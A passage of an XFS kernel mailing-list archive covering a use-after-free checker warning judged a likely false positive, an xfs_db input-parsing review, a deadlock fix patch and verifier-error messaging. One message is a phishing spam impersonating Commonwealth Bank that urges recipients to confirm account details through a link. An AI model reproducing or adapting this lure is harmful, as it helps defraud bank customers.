truncates or hole > 708 * punchs here - we are not allowed to allocate > 709 * non-delalloc blocks here. > 710 * > 711 * The only protection against truncation is the pages > 712 * for the range we are being asked to convert are > 713 * locked and hence a truncate will block on them > 714 * first. > 715 * > 716 * As a result, if we go beyond the range we really > 717 * need and hit an delalloc extent boundary followed by > 718 * a hole while we have excess blocks in the map, we > 719 * will fill the hole incorrectly and overrun the > 720 * transaction reservation. > 721 * > 722 * Using a single map prevents this as we are forced to > 723 * check each map we look for overlap with the desired > 724 * range and abort as soon as we find it. Also, given > 725 * that we only return a single map, having one beyond > 726 * what we can return is probably a bit silly. > 727 * > 728 * We also need to check that we don't go beyond EOF; > 729 * this is a truncate optimisation as a truncate sets > 730 * the new file size before block on the pages we > 731 * currently have locked under writeback. Because they > 732 * are about to be tossed, we don't need to write them > 733 * back.... > 734 */ > 735 nimaps = 1; > 736 end_fsb = XFS_B_TO_FSB(mp, XFS_ISIZE(ip)); > 737 error = xfs_bmap_last_offset(NULL, ip, &last_block, > 738 XFS_DATA_FORK); > 739 if (error) > 740 goto trans_cancel; > 741 > 742 last_block = XFS_FILEOFF_MAX(last_block, end_fsb); > 743 if ((map_start_fsb + count_fsb) > last_block) { > 744 count_fsb = last_block - map_start_fsb; > 745 if (count_fsb == 0) { > 746 error = EAGAIN; > 747 goto trans_cancel; > 748 } > 749 } > 750 > 751 /* > 752 * From this point onwards we overwrite the imap > 753 * pointer that the caller gave to us. > 754 */ > 755 error = xfs_bmapi_write(tp, ip, map_start_fsb, > 756 count_fsb, > 757 XFS_BMAPI_STACK_SWITCH, > 758 &first_block, 1, > 759 imap, &nimaps, &free_list); > 760 if (error) > 761 goto trans_cancel; > 762 > 763 error = xfs_bmap_finish(&tp, &free_list, &committed); > 764 if (error) > 765 goto trans_cancel; > 766 > 767 error = xfs_trans_commit(tp, XFS_TRANS_RELEASE_LOG_RES); > 768 if (error) > 769 goto error0; > > The call to xfs_trans_commit() frees "tp". Yep, seems to me this is correct because if no error is occurred in xfs_trans_commit(), tp is freed up internally, otherwise it would be freed in error0 path. > > 770 > 771 xfs_iunlock(ip, XFS_ILOCK_EXCL); > 772 } > 773 > 774 /* > 775 * See if we were able to allocate an extent that > 776 * covers at least part of the callers request > 777 */ > 778 if (!(imap->br_startblock || XFS_IS_REALTIME_INODE(ip))) > 779 return xfs_alert_fsblock_zero(ip, imap); > 780 > 781 if ((offset_fsb >= imap->br_startoff) && > 782 (offset_fsb < (imap->br_startoff + > 783 imap->br_blockcount))) { > 784 XFS_STATS_INC(xs_xstrat_quick); > 785 return 0; > 786 } > 787 > 788 /* > 789 * So far we have not mapped the requested part of the > 790 * file, just surrounding data, try again. > 791 */ > 792 count_fsb -= imap->br_blockcount; > 793 map_start_fsb = imap->br_startoff + imap->br_blockcount; > 794 } > 795 > 796 trans_cancel: > 797 xfs_bmap_cancel(&free_list); > 798 xfs_trans_cancel(tp, XFS_TRANS_RELEASE_LOG_RES | XFS_TRANS_ABORT); > ^^ > We dereference "tp" in xfs_trans_cancel(). Maybe I missed something, but the current logic looks correct to me. :) Thanks, -Jeff From tinguely@sgi.com Mon Feb 10 08:23:09 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 13D9F7F3F for ; Mon, 10 Feb 2014 08:23:09 -0600 (CST) Received: from eagdhcp-232-208.americas.sgi.com (eagdhcp-232-208.americas.sgi.com [128.162.232.208]) by relay1.corp.sgi.com (Postfix) with ESMTP id D6DF98F8035; Mon, 10 Feb 2014 06:23:08 -0800 (PST) Message-ID: <52F8E0CF.1000305@sgi.com> Date: Mon, 10 Feb 2014 08:23:11 -0600 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH] xfs_db: fix the setting of unaligned directory fields References: <20140207210348.249387765@sgi.com> <20140207223327.GG13647@dastard> <52F56891.5020305@sgi.com> <20140208083012.GI13647@dastard> <52F669CA.7050000@sgi.com> <20140209232243.GL13647@dastard> In-Reply-To: <20140209232243.GL13647@dastard> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 02/09/14 17:22, Dave Chinner wrote: > On Sat, Feb 08, 2014 at 11:30:50AM -0600, Mark Tinguely wrote: >> On 02/08/14 02:30, Dave Chinner wrote: >>> On Fri, Feb 07, 2014 at 05:13:21PM -0600, Mark Tinguely wrote: >>>> On 02/07/14 16:33, Dave Chinner wrote: >>>>> On Fri, Feb 07, 2014 at 04:03:42PM -0600, Mark Tinguely wrote: >>>>>> @@ -526,16 +527,20 @@ convert_arg( >>>>>> */ >>>>>> *value = strtoll(arg, NULL, 0); >>>>> >>>>> If we are touching this code, the return value here should be error >>>>> checked. >>>>> >>>>> xfs_db> write u3.bmx[0].startblock 3rgfdw >>>>> u3.bmx[0].startblock = 52776558133248 >>>> >>>> hmm, It should stop at 3. I will take a look. >>> >>> Even if it stops at 3, that's still wrong because it's failed to >>> process the entire user input.... >>> >>>>> xfs_db> write u3.bmx[0].startblock x3rgfdw >>>>> u3.bmx[0].startblock = 0 >>>>> xfs_db> >>>>> >>>>> i.e. it accepts garbage rather than erroring out. >>>> >>>> as does all the other writes ... >>>> xfs_db> write core.nblocks x3rgfdw >>>> core.nblocks = 0 >>>> >>>> Fixing convert_arg() is beyond the scope of just this patch. >>> >>> Sure, but I'm not asking you to fix all of convert_args in this >>> patch, just asking you to do a complete job of fixing the bitval >>> input processing in this patch. >>> >>> But, seeing as you've raised that convert_args() has other broken >>> paths, can you also write new patches to address those issues? It >>> won't take you long while all this code is fresh in your mind, and >>> if you do it now it won't get dropped on the floor until somebody >>> else hits it a couple of years down the track... >>> >> >> It needs to be split up. write_string() needs string inputs, >> write_struct() need numeric inputs. > > write_struct() handles every type of possible input - > string varables, integers, UUIDs, etc. i.e. something like > > xfs_db> write sb.uuid > > runs through write_struct(), it finds the uuid field definition in > the superblock description and then calls convert_args() on it to > convert the uuid format input. > > IOWs, convert_args() needs to handle all the types of input. Hence > you might like to factor convert_args, but it still needs to handle > arbitrary input types. > >> Who uses the UUID-style hex >> blocks? It feels like a black hole of time. > > Obvious answer: UUIDs > > $ git grep FLDT_UUID > db/agf.c: { "uuid", FLDT_UUID, OI(OFF(uuid)), C1, 0, TYP_NONE }, > db/agfl.c: { "uuid", FLDT_UUID, OI(OFF(uuid)), C1, 0, TYP_NONE }, > db/agi.c: { "uuid", FLDT_UUID, OI(OFF(uuid)), C1, 0, TYP_NONE }, > db/btblock.c: { "uuid", FLDT_UUID, OI(OFF(u.l.bb_uuid)), C1, 0, TYP_NONE }, > db/btblock.c: { "uuid", FLDT_UUID, OI(OFF(u.l.bb_uuid)), C1, 0, TYP_NONE }, > db/btblock.c: { "uuid", FLDT_UUID, OI(OFF(u.s.bb_uuid)), C1, 0, TYP_NONE }, > db/btblock.c: { "uuid", FLDT_UUID, OI(OFF(u.s.bb_uuid)), C1, 0, TYP_NONE }, > db/btblock.c: { "uuid", FLDT_UUID, OI(OFF(u.s.bb_uuid)), C1, 0, TYP_NONE }, > db/dir2.c: { "uuid", FLDT_UUID, OI(DBH3OFF(uuid)), C1, 0, TYP_NONE }, > db/dir2.c: { "uuid", FLDT_UUID, OI(DB3OFF(uuid)), C1, 0, TYP_NONE }, > db/dquot.c: { "uuid", FLDT_UUID, OI(DDOFF(uuid)), C1, 0, TYP_NONE }, > db/field.c: { FLDT_UUID, "uuid", fp_uuid, NULL, SI(bitsz(uuid_t)), 0, NULL, N > db/field.h: FLDT_UUID, > db/inode.c: { "uuid", FLDT_UUID, OI(COFF(uuid)), C1, 0, TYP_NONE }, > db/inode.c: { "muuid", FLDT_UUID, NULL, inode_u_muuid_count, FLD_COUNT, TYP_N > db/sb.c: { "uuid", FLDT_UUID, OI(OFF(uuid)), C1, 0, TYP_NONE }, > db/symlink.c: { "uuid", FLDT_UUID, OI(OFF(uuid)), C1, 0, TYP_NONE }, > $ > > Slightly less obvious answer is writing arbitrary binary data to > block regions in structures, such as writing multiple entries in an > array in a single command (e.g. FLD_ARRAY structure sections). I've > used this to move sections of directory blocks around in the past.... > >> It goes on my 'off the clock' to do list. > > Ok, I'll just assume that means it'll never get done so I'll get a > pleasent surprise when you send the patch tomorrow.... > > Cheers, > > Dave. Yes, realized that the types are all needed: write core.magic "IN" does make sense. And the following is legal: write core.mode "IN" but may not make a lot of sense. My patch broke on little endian the ability to input 8-64 bit hex values: write core.magic #494e it was always broke on big endian, so I fixed it for both. I cleaned up the trailing junk characters. The test has been written and it will be reposted once I get to the documentation changes. --Mark. From bfoster@redhat.com Mon Feb 10 08:33:33 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id D10927F3F for ; Mon, 10 Feb 2014 08:33:33 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id A9104304064 for ; Mon, 10 Feb 2014 06:33:30 -0800 (PST) X-ASG-Debug-ID: 1392042809-04cbb00c28240140001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id FTisEYZH21eTLa2u for ; Mon, 10 Feb 2014 06:33:29 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1AEXTnR025632 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Mon, 10 Feb 2014 09:33:29 -0500 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s1AEXR1v019172 for ; Mon, 10 Feb 2014 09:33:28 -0500 Received: by bfoster.bfoster (Postfix, from userid 1000) id 0F11312509A; Mon, 10 Feb 2014 09:33:27 -0500 (EST) From: Brian Foster To: xfs@oss.sgi.com Subject: [PATCH] xfs: avoid AGI/AGF deadlock scenario for inode chunk allocation Date: Mon, 10 Feb 2014 09:33:27 -0500 X-ASG-Orig-Subj: [PATCH] xfs: avoid AGI/AGF deadlock scenario for inode chunk allocation Message-Id: <1392042807-41697-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1392042809 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 The inode chunk allocation path can lead to deadlock conditions if a transaction is dirtied with an AGF (to fix up the freelist) for an AG that cannot satisfy the actual allocation request. This code path is written to try and avoid this scenario, but it can be reproduced by running xfstests generic/270 in a loop on a 512b fs. An example situation is: - process A attempts an inode allocation on AG 3, modifies the freelist, fails the allocation and ultimately moves on to AG 0 with the AG 3 AGF held - process B is doing a free space operation (i.e., truncate) and acquires the AG 0 AGF, waits on the AG 3 AGF - process A acquires the AG 0 AGI, waits on the AG 0 AGF (deadlock) The problem here is that process A acquired the AG 3 AGF while moving on to AG 0 (and releasing the AG 3 AGI with the AG 3 AGF held). xfs_dialloc() makes one pass through each of the AGs when attempting to allocate an inode chunk. The expectation is a clean transaction if a particular AG cannot satisfy the allocation request. xfs_ialloc_ag_alloc() is written to support this through use of the minalignslop allocation args field. When using the agi->agi_newino optimization, we attempt an exact bno allocation request based on the location of the previously allocated chunk. minalignslop is set to inform the allocator that we will require alignment on this chunk, and thus to not allow the request for this AG if the extra space is not available. Suppose that the AG in question has just enough space for this request, but not at the requested bno. xfs_alloc_fix_freelist() will proceed as normal as it determines the request should succeed, and thus it is allowed to modify the agf. xfs_alloc_ag_vextent() ultimately fails because the requested bno is not available. In response, the caller moves on to a NEAR_BNO allocation request for the same AG. The alignment is set, but the minalignslop field is never reset. This increases the overall requirement of the request from the first attempt. If this delta is the difference between allocation success and failure for the AG, xfs_alloc_fix_freelist() rejects this request outright the second time around and causes the allocation request to unnecessarily fail for this AG. To address this situation, reset the minalignslop field when we transition from a THIS_BNO to a NEAR_BNO allocation request in xfs_ialloc_ag_alloc(). [NOTE: It appears at first glance that the optimized agi_newino allocation case is problematic in that it doesn't consider use of mp->m_sinoalign, if enabled. If the m_sinoalign allocation fails, however, we revert back to normal cluster alignment, which I think makes the overall sequence safe.] Signed-off-by: Brian Foster --- fs/xfs/xfs_ialloc.c | 2 ++ 1 file changed, 2 insertions(+) diff --git a/fs/xfs/xfs_ialloc.c b/fs/xfs/xfs_ialloc.c index 5d7f105..584daf0 100644 --- a/fs/xfs/xfs_ialloc.c +++ b/fs/xfs/xfs_ialloc.c @@ -382,6 +382,8 @@ xfs_ialloc_ag_alloc( isaligned = 1; } else args.alignment = xfs_ialloc_cluster_alignment(&args); + args.minalignslop = 0; + /* * Need to figure out where to allocate the inode blocks. * Ideally they should be spaced out through the a.g. -- 1.8.1.4 From dan.carpenter@oracle.com Mon Feb 10 08:50:27 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 4EEF77F3F for ; Mon, 10 Feb 2014 08:50:27 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id E3F36AC004 for ; Mon, 10 Feb 2014 06:50:26 -0800 (PST) X-ASG-Debug-ID: 1392043825-04bdf0122025cee0001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id t2GyyDbmNaFcFkOQ (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 10 Feb 2014 06:50:25 -0800 (PST) X-Barracuda-Envelope-From: dan.carpenter@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id s1AEoOI8029068 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Mon, 10 Feb 2014 14:50:24 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s1AEoNBZ011749 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 10 Feb 2014 14:50:24 GMT Received: from abhmp0015.oracle.com (abhmp0015.oracle.com [141.146.116.21]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s1AEoNpY000577 for ; Mon, 10 Feb 2014 14:50:23 GMT Received: from mwanda (/41.202.240.13) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Mon, 10 Feb 2014 06:50:23 -0800 Date: Mon, 10 Feb 2014 17:50:41 +0300 From: Dan Carpenter To: Jeff Liu Cc: xfs@oss.sgi.com Subject: Re: potential use after free in xfs_iomap_write_allocate() Message-ID: <20140210145041.GC26776@mwanda> X-ASG-Orig-Subj: Re: potential use after free in xfs_iomap_write_allocate() References: <20140210103626.GA15018@elgon.mountain> <52F8E086.8030805@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52F8E086.8030805@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1392043825 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.61 X-Barracuda-Spam-Status: No, SCORE=2.61 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MV0249, BSF_SC0_SA_TO_FROM_DOMAIN_MATCH, MARKETING_SUBJECT, UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144995 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines 0.01 BSF_SC0_SA_TO_FROM_DOMAIN_MATCH Sender Domain Matches Recipient Domain 2.00 BSF_SC0_MV0249 Custom rule MV0249 On Mon, Feb 10, 2014 at 10:21:58PM +0800, Jeff Liu wrote: > > On 02/10 2014 18:36 PM, Dan Carpenter wrote: > > There is a static checker warning in xfs_iomap_write_allocate(). It's > > sort of old so probably it's a false positive. > > > > fs/xfs/xfs_iomap.c:798 xfs_iomap_write_allocate() > > warn: 'tp' was already freed. > > > > fs/xfs/xfs_iomap.c > > 677 > > 678 while (count_fsb != 0) { > > > > There are some paths where if (count_fsb == 0) then "tp" is free. > > I can not see a call pach would introduce "count_fsb == 0" because we only > call xfs_iomap_write_allocate() in extent delayed allocation context, > that is the count_fsb should be >= 1. I am confused. That's a while condition and not an if condition. On line 792 we do: count_fsb -= imap->br_blockcount; I assume you saw that, and it's still a false positive but I just want to be sure. regards, dan carpenter From sandeen@sandeen.net Mon Feb 10 08:52:44 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id E221E7F4E for ; Mon, 10 Feb 2014 08:52:44 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id C0D6E8F8033 for ; Mon, 10 Feb 2014 06:52:44 -0800 (PST) X-ASG-Debug-ID: 1392043962-04cb6c6de124b670001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id GUEG6JbpmZBXTdRk for ; Mon, 10 Feb 2014 06:52:43 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id A65076142693; Mon, 10 Feb 2014 08:52:42 -0600 (CST) Message-ID: <52F8E7AE.8060103@sandeen.net> Date: Mon, 10 Feb 2014 08:52:30 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Dave Chinner CC: Eric Sandeen , xfs-oss Subject: Re: [PATCH 5/6] xfs: add xfs_verifier_error() References: <52F83630.4020008@redhat.com> <52F83A8D.7030506@sandeen.net> <20140210034321.GR13647@dastard> <52F85294.6010309@sandeen.net> <20140210111042.GY13997@dastard> X-ASG-Orig-Subj: Re: [PATCH 5/6] xfs: add xfs_verifier_error() In-Reply-To: <20140210111042.GY13997@dastard> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1392043962 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144995 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 2/10/14, 5:10 AM, Dave Chinner wrote: > On Sun, Feb 09, 2014 at 10:16:20PM -0600, Eric Sandeen wrote: >> On 2/9/14, 9:43 PM, Dave Chinner wrote: >>> On Sun, Feb 09, 2014 at 08:33:49PM -0600, Eric Sandeen wrote: >>>> We want to distinguish between corruption, CRC errors, >>>> etc. In addition, the full stack trace on verifier errors >>>> seems less than helpful; it looks more like an oops than >>>> corruption. >>>> >>>> Create a new function to specifically alert the user to >>>> verifier errors, which can differentiate between >>>> EFSCORRUPTED and CRC mismatches. It doesn't dump stack >>>> unless the xfs error level is turned up high. >>>> >>>> Define a new error message (EFSBADCRC) to clearly identify >>>> CRC errors. (Defined to EILSEQ, bad byte sequence) >>>> >>>> Signed-off-by: Eric Sandeen >>>> --- >>>> fs/xfs/xfs_error.c | 22 ++++++++++++++++++++++ >>>> fs/xfs/xfs_error.h | 3 +++ >>>> fs/xfs/xfs_linux.h | 1 + >>>> 3 files changed, 26 insertions(+), 0 deletions(-) >>>> >>>> diff --git a/fs/xfs/xfs_error.c b/fs/xfs/xfs_error.c >>>> index 9995b80..08d76f4 100644 >>>> --- a/fs/xfs/xfs_error.c >>>> +++ b/fs/xfs/xfs_error.c >>>> @@ -178,3 +178,25 @@ xfs_corruption_error( >>>> xfs_error_report(tag, level, mp, filename, linenum, ra); >>>> xfs_alert(mp, "Corruption detected. Unmount and run xfs_repair"); >>>> } >>>> + >>>> +/* >>>> + * Warnings specifically for verifier errors. Differentiate CRC vs. invalid >>>> + * values, and omit the stack trace unless the error level is tuned high. >>>> + */ >>>> +void >>>> +__xfs_verifier_error( >>>> + const char *func, >>>> + struct xfs_buf *bp) >>>> +{ >>>> + struct xfs_mount *mp = bp->b_target->bt_mount; >>>> + >>>> + xfs_alert(mp, >>>> +"%sCorruption detected in %s, block 0x%llx. Unmount and run xfs_repair", >>>> + bp->b_error == EFSBADCRC ? "CRC " : "", func, bp->b_bn); >>> >>> Perhaps if we do this: >>> >>> xfs_alert(mp, >>> "Metadata %s detected at %pF, block 0x%llx. Unmount and run xfs_repair", >>> bp->b_error == EFSBADCRC ? "CRC error" >>> : "corruption", _RET_IP_, bp->b_bn); >>> >>> We'll get a symbol of the form caller_name+0xoffset similar to a >>> stack dump. That way if we have multiple calls to a >>> xfs_verifier_error() inside a single function we get something that >>> tells us which call detected the error... >> >> Hm, but the point of the switch based on error nrs was to require only >> one call in each ->verifier, and ... > > Right, that's the current usage of it because we are simply > returning true/false from the checking code. Determining the exact > error is the report is much more useful - let's not lose sight of > the end goal.... > >>> Also, the use of _RET_IP_ gets rid of the need for the wrapper >>> macro.... >> >> 0x${SPLAT} is a lot less useful than i.e. "xfs_agi_read_verify" > > Note the format string I used: "%pF". That decodes the _RET_IP_ > into the function name and offset from the start of the function. > i.e. it returns xfs_agi_read_verify+0x. I forgot that it did this, TBH. Ok, I'll rethink things a bit. (although with multiple failure points in a verifier, +0x4a vs +0x5b will still require some digging; a line number might be nice, but then we'd need a wrapper again) Thanks, -Eric From lowfps@lilidirectory.com Mon Feb 10 12:41:46 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.2 required=5.0 tests=HTML_EXTRA_CLOSE,HTML_MESSAGE, HTML_MIME_NO_HTML_TAG,MIME_HTML_ONLY autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 2DA677F3F for ; Mon, 10 Feb 2014 12:41:46 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id F1EBF8F8035 for ; Mon, 10 Feb 2014 10:41:45 -0800 (PST) X-ASG-Debug-ID: 1392057698-04bdf01220267870001-NocioJ Received: from lilidirectory.com (lilidirectory.com [178.79.133.104]) by cuda.sgi.com with ESMTP id vzl1nFGCcCl84bF1 for ; Mon, 10 Feb 2014 10:41:38 -0800 (PST) X-Barracuda-Envelope-From: lowfps@lilidirectory.com X-Barracuda-Apparent-Source-IP: 178.79.133.104 Received: by lilidirectory.com (Postfix, from userid 504) id F0D3E29CBD; Mon, 10 Feb 2014 13:41:12 -0500 (EST) To: xfs@oss.sgi.com Subject: URGENT - Commonwealth Bank Security From: X-ASG-Orig-Subj: URGENT - Commonwealth Bank Security Reply-To: MIME-Version: 1.0 Content-Type: text/html Content-Transfer-Encoding: 8bit Message-Id: <20140210184112.F0D3E29CBD@lilidirectory.com> Date: Mon, 10 Feb 2014 13:41:12 -0500 (EST) X-Barracuda-Connect: lilidirectory.com[178.79.133.104] X-Barracuda-Start-Time: 1392057698 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.14 X-Barracuda-Spam-Status: No, SCORE=2.14 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_EXTRA_CLOSE, HTML_MESSAGE, HTML_MIME_NO_HTML_TAG, MIME_HTML_ONLY, NO_REAL_NAME X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145000 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 NO_REAL_NAME From: does not include a real name 1.09 HTML_EXTRA_CLOSE BODY: HTML contains far too many close tags 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.00 HTML_MESSAGE BODY: HTML included in message 1.05 HTML_MIME_NO_HTML_TAG HTML-only message, but there is no HTML tag

CommBank Customer,

We have recently upgrade our internet banking system. You will need to confirm your online data.

To ensure that your online service is always available for your use,

please confirm your details exactly as it was previously on internet,

by clicking the link below :

UNLOCK YOUR ACCESS

Online Team

© CommBank 2014

From prvs=7118991643=jbacik@fb.com Mon Feb 10 13:18:25 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 021F57F3F for ; Mon, 10 Feb 2014 13:18:25 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 8E195AC00B for ; Mon, 10 Feb 2014 11:18:24 -0800 (PST) X-ASG-Debug-ID: 1392059899-04cbb00c2824b930001-NocioJ Received: from mx0a-00082601.pphosted.com (mx0b-00082601.pphosted.com [67.231.153.30]) by cuda.sgi.com with ESMTP id Xx7sm0CagRW3sCAi for ; Mon, 10 Feb 2014 11:18:20 -0800 (PST) X-Barracuda-Envelope-From: prvs=7118991643=jbacik@fb.com X-Barracuda-Apparent-Source-IP: 67.231.153.30 X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] Received: from pps.filterd (m0004003 [127.0.0.1]) by mx0b-00082601.pphosted.com (8.14.5/8.14.5) with SMTP id s1AJ8vSk028032; Mon, 10 Feb 2014 11:18:07 -0800 X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=fb.com; h=message-id : date : from : mime-version : to : cc : subject : references : in-reply-to : content-type : content-transfer-encoding; s=facebook; bh=760UOfFNkPQSkecnkR9X7STkbkeACes24rG2H2XT1Yo=; b=EbU2RE9n8DGQCTshwuyUUGc5/5PfVIanSDFTMOd9dQr0FleIaPFXXT/i5d1ADB91fkk0 80udgxERp+1vxZKLNSkRH3s3VJfPBgoKcRhEnvefRoKf9T0g7hMNpIrXNBVA7MPzcWsN vN5a70B5ZzcJNe++Q5B2h4acEOU1VyPSTcg= Received: from mail.thefacebook.com (prn1-cmdf-dc01-fw1-nat.corp.tfbnw.net [173.252.71.129] (may be forged)) by mx0b-00082601.pphosted.com with ESMTP id 1hwjvdex2u-1 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=OK); Mon, 10 Feb 2014 11:18:07 -0800 Received: from localhost.localdomain 